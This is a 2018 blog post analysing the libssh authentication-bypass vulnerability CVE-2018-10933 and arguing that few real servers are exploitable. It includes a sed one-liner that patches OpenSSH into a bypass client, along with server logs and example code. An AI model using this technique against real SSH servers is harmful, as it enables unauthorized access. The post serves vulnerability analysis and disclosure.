Monday, October 22, 2018

Too much fuzz around libssh's CVE-2018-10933

So the other day this trivial looking vulnerability in libssh was disclosed and fixed. The headlines, made it look as if exploitation is really easy. There's even a video of someone demonstrating the exploit.

What seems to be missing however is an actually vulnerable implementation. Allow me to explain.

Just like the currently available public exploit, my idea was to send SSH2_MSG_USERAUTH_SUCCESS instead of SSH2_MSG_USERAUTH_REQUEST. To get this done I choose to patch OpenSSH and let it handle the rest of the SSH protocol for me.

$ sed -i 's/SSH2_MSG_USERAUTH_REQUEST/SSH2_MSG_USERAUTH_SUCCESS/g' sshconnect2.c
$ autoreconf
$ ./configure
$ make


Next I started the libssh 0.7.5 example ssh_server_fork, fired up my patched OpenSSH and... Nothing.

Looking at the server log:

[2018/10/22 01:15:55.264597, 3] ssh_packet_socket_callback:  packet: read type 52 [len=124,padding=73,comp=50,payload=50]
[2018/10/22 01:15:55.264732, 3] ssh_packet_process:  Dispatching handler for packet type 52
[2018/10/22 01:15:55.264799, 3] ssh_packet_userauth_success:  Authentication successful
[2018/10/22 01:15:55.264853, 3] ssh_packet_socket_callback:  Processing 80 bytes left in socket buffer

...
[2018/10/22 01:15:55.267131, 3] ssh_message_channel_request_reply_default:  Sending a default channel_request denied to channel 0
[2018/10/22 01:15:55.267222, 3] packet_send2:  packet: wrote [len=12,padding=6,comp=5,payload=5]
[2018/10/22 01:15:55.267363, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
[2018/10/22 01:15:55.269561, 1] ssh_socket_exception_callback:  Socket exception callback: 1 (0)
[2018/10/22 01:15:55.269667, 1] ssh_socket_exception_callback: 
Socket error: disconnected


So, I was successfully authenticated, but then disconnected. As described in RFC4252 §6, message 52 is SSH_MSG_USERAUTH_SUCCESS.

Source code diving time! I'll not go into all the details that I went through to get to understand libssh and cut right to it. Looking at examples/ssh_server_fork.c, this is essentially what's going on:
  • setup the libssh server and, when a client connects
  • call handle_session
  • setup libssh callbacks, including the auth_password_function
  • while (sdata.authenticated == 0 || sdata.channel == NULL)
  • ssh_event_dopoll(event, 100)
So what is this sdata? If we look at the auth_password function that was assigned as callback function for auth_password_function, we see:

    if (strcmp(user, USER) == 0 && strcmp(pass, PASS) == 0) {
        sdata->authenticated = 1;
        return SSH_AUTH_SUCCESS;
    }


This part of the example implementation of ssh_server_fork is authenticating the user by the provided username and password and only if these match, sdata->authenticated is set to 1. The while-loop will therefore never exit when the exploit is used to authenticate.

The other examples provided in the libssh source package, all use a local state variable to check if the user properly authenticated. I have yet to find any service that implements libssh in a different way.

So, this clearly demonstrates the following paragraph from the original NCC Group's article on this vulnerability:

Not all libSSH servers will necessarily be vulnerable to the authentication bypass; since the authentication bypass sets the internal libSSH state machine to authenticated without ever giving any registered authentication callbacks an opportunity to execute, servers developed using libSSH which maintain additional custom session state may fail to function correctly if a user is authenticated without this state being created.

If you have found a service implementation that is actually vulnerable, I'd be very interested to hear about it in the comments.